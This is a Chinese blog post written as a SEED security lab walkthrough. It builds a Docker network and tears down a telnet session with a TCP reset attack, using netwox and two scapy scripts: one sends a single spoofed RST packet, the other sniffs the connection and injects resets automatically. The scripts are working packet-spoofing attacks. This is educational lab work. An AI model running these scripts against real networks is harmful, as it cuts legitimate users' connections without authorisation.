用netwox、scapy进行TCP Reset 的手动攻击和自动攻击

环境搭建

安装实验docker,保存下面的文件为docker-compose.yml:

version: "3"

services:
    attacker:
        image: handsonsecurity/seed-ubuntu:large
        container_name: seed-attacker
        tty: true
        cap_add:
                - ALL
        privileged: true
        volumes:
                - ./volumes:/volumes
        network_mode: host


    Victim:
        image: handsonsecurity/seed-ubuntu:large
        container_name: victim-10.9.0.5
        tty: true
        cap_add:
                - ALL
        privileged: true
        sysctls:
                - net.ipv4.tcp_syncookies=0

        networks:
            net-10.9.0.0:
                ipv4_address: 10.9.0.5

        command: bash -c "
                      /etc/init.d/openbsd-inetd start  &&
                      tail -f /dev/null
                 "
                  
    User1:
        image: handsonsecurity/seed-ubuntu:large
        container_name: user1-10.9.0.6
        tty: true
        cap_add:
                - ALL
        networks:
            net-10.9.0.0:
                ipv4_address: 10.9.0.6

        command: bash -c "
                      /etc/init.d/openbsd-inetd start  &&
                      tail -f /dev/null
                 "

    User2:
        image: handsonsecurity/seed-ubuntu:large
        container_name: user2-10.9.0.7
        tty: true
        cap_add:
                - ALL
        networks:
            net-10.9.0.0:
                ipv4_address: 10.9.0.7

        command: bash -c "
                      /etc/init.d/openbsd-inetd start  &&
                      tail -f /dev/null
                 "

networks:
    net-10.9.0.0:
        name: net-10.9.0.0
        ipam:
            config:
                - subnet: 10.9.0.0/24

然后执行,安装docker镜像

docker-compose -f docker-compose.yml up -d

打开三个终端,其中一个终端为用户机,另两个终端开启docker,执行./run.sh

#run.sh
docker run -it --privileged "handsonsecurity/seed-ubuntu:large" /bin/bash

172.17.0.2为客户端,172.17.0.3为服务器,在服务器上运行./start.sh,开启telnet服务

/etc/init.d/openbsd-inetd restart

使用下面的命令可以查看是否打开了telnet

netstat -a | grep telnet
# tcp        0      0 0.0.0.0:telnet          0.0.0.0:*               LISTEN

docker删除images,先执行docker images查看待删除的镜像的ID,然后执行 docker ps -a,查看有哪些容器正在使用该ID,然后对全部使用镜像ID的容器执行docker rm <container ID>,最后再运行docker rmi <image ID>

攻击机IP:192.168.100.129
用户机IP:172.17.0.2
目标机IP:172.17.0.3

1)利用netwox进行RESET攻击

在攻击机上执行ifconfig,查看网卡为docker0

在这里插入图片描述

然后执行 netwox 78 -d docker0 -s linkbraw,发起reset攻击,在客户机上随便输入一个字符串,断开了连接

在这里插入图片描述

用wireshark抓包,可以截获两个RESET包

在这里插入图片描述

2)使用scapy进行手动攻击

代码为reset_manual.py,建立telnet连接,用wireshark截取最后一个TCP连接报文,seq填写最后一个报文的ack字段

#!/usr/bin/python3
from scapy.all import *

print("SENDING RESET PACKET.........")
ip  = IP(src="172.17.0.2", dst="172.17.0.3")
tcp = TCP(sport=46360, dport=23,flags="R",seq=4143252215)
pkt = ip/tcp
ls(pkt)
send(pkt,verbose=0)

在这里插入图片描述

将截获的包中的信息填入reset_manaul参数里面,运行python文件,wireshark截获到了RESET报文
在这里插入图片描述

此时在用户端随便输入一个字符,就会断开连接,Connection closed by foreign host,攻击成功
在这里插入图片描述

抓包可以看到,第一行红色的是由攻击机发起的RESET攻击,接着第二行用户机发送了一个TELNET包,由于TCP中断,接着服务器向客户机发送了第三行的RESET包,断开了TCP连接

在这里插入图片描述

3)使用scapy进行自动攻击

建立telnet连接,用wireshark截取最后一个TCP连接报文,代码为reset_auto.py

#!/usr/bin/python3
from scapy.all import *

SRC  = "172.17.0.2"
DST  = "172.17.0.3"
PORT = 23

def spoof(pkt):
    old_tcp = pkt[TCP]
    old_ip  = pkt[IP]

    ip = IP(src=old_ip.dst, dst=old_ip.src)
    tcp = TCP(sport=old_tcp.dport, dport=old_tcp.sport, seq=old_tcp.ack, flags="R")
    
    pkt = ip/tcp
    send(pkt,verbose=0)
    print("Spoofed Packet: {} --> {}".format(ip.src, ip.dst))

f = 'tcp and src host {} and dst host {} and dst port {}'.format(SRC, DST, PORT)
sniff(filter=f, prn=spoof)


原始代码在sniff函数中必须加上 iface=‘docker0’,用netwox时也需要设置网卡为docker0,否则无法发起攻击

攻击机输出截获信息
在这里插入图片描述

用户机连接中断

在这里插入图片描述

wireshark截包

在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

rebibabo

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值